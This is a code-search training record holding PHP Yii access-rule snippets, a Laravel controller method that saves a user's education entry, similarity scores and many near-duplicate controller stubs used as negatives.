actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // allow all users to perform 'error' and 'contact' actions\n 'actions'=>array('error'),\n 'users'=>array('*'),\n ),\n array('allow', // allow only authenticated users to perform 'index' actions\n 'actions'=>array('index', 'areaTree', 'areaTreeData', 'getAttributes', 'getForm', 'update', 'import'),\n 'expression'=>'!Yii::app()->user->isGuest && (Yii::app()->user->isAdmin() || Yii::app()->user->isSuperUser())',\n ),\n array('deny', // deny all users\n 'users'=>array('*'),\n ),\n );\n }", "public function accessRules()\n {\n return array(\n array('allow',\n 'actions' => array('index', 'myEvents', 'detail', 'subscribe', 'unsubscribe', 'subscribers', 'invites', 'add', 'edit', 'saveImage', 'delete', 'calendar', 'map', 'comments', 'addComment', 'gallery', 'getAlbum', 'addAlbum', 'renameAlbum', 'deleteAlbum', 'addImage', 'deleteImage', 'downloadImage', 'addImageToAlbum', 'removeImageFromAlbum', 'comingEvents', 'pastEvents'),\n 'roles' => array('user'),\n ),\n array('allow',\n 'actions' => array('share'),\n 'users' => array('*'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules()\n\t{\n\t\treturn array(\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\n\t\t\t\t'actions'=>array('index','view','pronostico','actRecargas'),\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\n\t\t\t\t'actions'=>array('create','update'),\n\t\t\t\t'users'=>array('@'),\n\t\t\t),\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\n\t\t\t\t'actions'=>array('admin','delete'),\n\t\t\t\t'users'=>array('admin'),\n\t\t\t),\n\t\t\tarray('deny', // deny all users\n\t\t\t\t'users'=>array('*'),\n\t\t\t),\n\t\t);\n\t}", "public function accessRules() {\n return array(\n array('allow', // allow all users to perform 'index' and 'view' actions\n 'actions' => array('index', 'view', 'category'),\n 'users' => array('*'),\n ),\n array('allow', // allow authenticated user to perform 'create' and 'update' actions\n 'actions' => array('new', 'update'),\n 'users' => array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions' => array(''),\n 'users' => array('admin'),\n ),\n array('deny', // deny all users\n 'users' => array('*'),\n ),\n );\n }", "public function accessRules() \r\n\t{\r\n\t\treturn array(\r\n\t\t\tarray('allow', // allow all users to perform 'index' and 'view' actions\r\n\t\t\t\t'actions'=>array('index'),\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array('suggest'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t\t'expression'=>'isset(Yii::app()->user->level)',\r\n\t\t\t\t//'expression'=>'isset(Yii::app()->user->level) && (Yii::app()->user->level != 1)',\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow authenticated user to perform 'create' and 'update' actions\r\n\t\t\t\t'actions'=>array('manage','add','delete','status'),\r\n\t\t\t\t'users'=>array('@'),\r\n\t\t\t\t'expression'=>'isset(Yii::app()->user->level) && in_array(Yii::app()->user->level, array(1,2))',\r\n\t\t\t),\r\n\t\t\tarray('allow', // allow admin user to perform 'admin' and 'delete' actions\r\n\t\t\t\t'actions'=>array(),\r\n\t\t\t\t'users'=>array('admin'),\r\n\t\t\t),\r\n\t\t\tarray('deny', // deny all users\r\n\t\t\t\t'users'=>array('*'),\r\n\t\t\t),\r\n\t\t);\r\n\t}" ]
[ "0.722852", "0.71993047", "0.7090138", "0.708273", "0.7078479", "0.7078239", "0.7078239", "0.7071007", "0.7071007", "0.7064165", "0.70630103", "0.70067996", "0.70026976", "0.70002073", "0.69966775", "0.69884586", "0.69824487", "0.6975349", "0.6973033", "0.69710416", "0.6968432", "0.69679886", "0.69644904", "0.6957953", "0.6955051", "0.69531554", "0.694747", "0.694115", "0.69350296", "0.69326955", "0.69311", "0.6930041", "0.69281965", "0.6927656", "0.6923106", "0.69227165", "0.6922671", "0.69220155", "0.6920488", "0.69159627", "0.69088596", "0.6905477", "0.6903781", "0.6902631", "0.68984264", "0.6891951", "0.6890869", "0.68892986", "0.6886144", "0.6884978", "0.68807757", "0.68807507", "0.68788683", "0.68786144", "0.6874612", "0.6868272", "0.68645334", "0.6859072", "0.685813", "0.68562037", "0.68559384", "0.68521756", "0.6848865", "0.68469995", "0.68444014", "0.6844138", "0.68440384", "0.6842169", "0.68354535", "0.68349576", "0.68340635", "0.68334335", "0.68317556", "0.6823689", "0.68212336", "0.68185896", "0.68181294", "0.6817933", "0.6816992", "0.6814705", "0.68132913", "0.680993", "0.68090373", "0.68079543", "0.68024504", "0.680165", "0.67984676", "0.67976904", "0.6794069", "0.6789528", "0.6788074", "0.6788005", "0.6786363", "0.6786153", "0.6784509", "0.6784127", "0.67837775", "0.6783706", "0.6782395", "0.6782006", "0.6778724" ]
0.0
-1
Store a newly created resource in storage.
public function store(Request $request) { $education = new education(); $user = auth()->user(); $education->user = $user->id; $education->school = $request->schoolName; $education->degree = $request->degree; $education->major = $request->major; $education->start_date = $request->startDate; $education->end_date = $request->endDate; $education->save(); return back(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { $education = education::where('id',$id)->first(); return view('user/profile/edit',compact('education')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit(form $form)\n {\n //\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit($id)\n 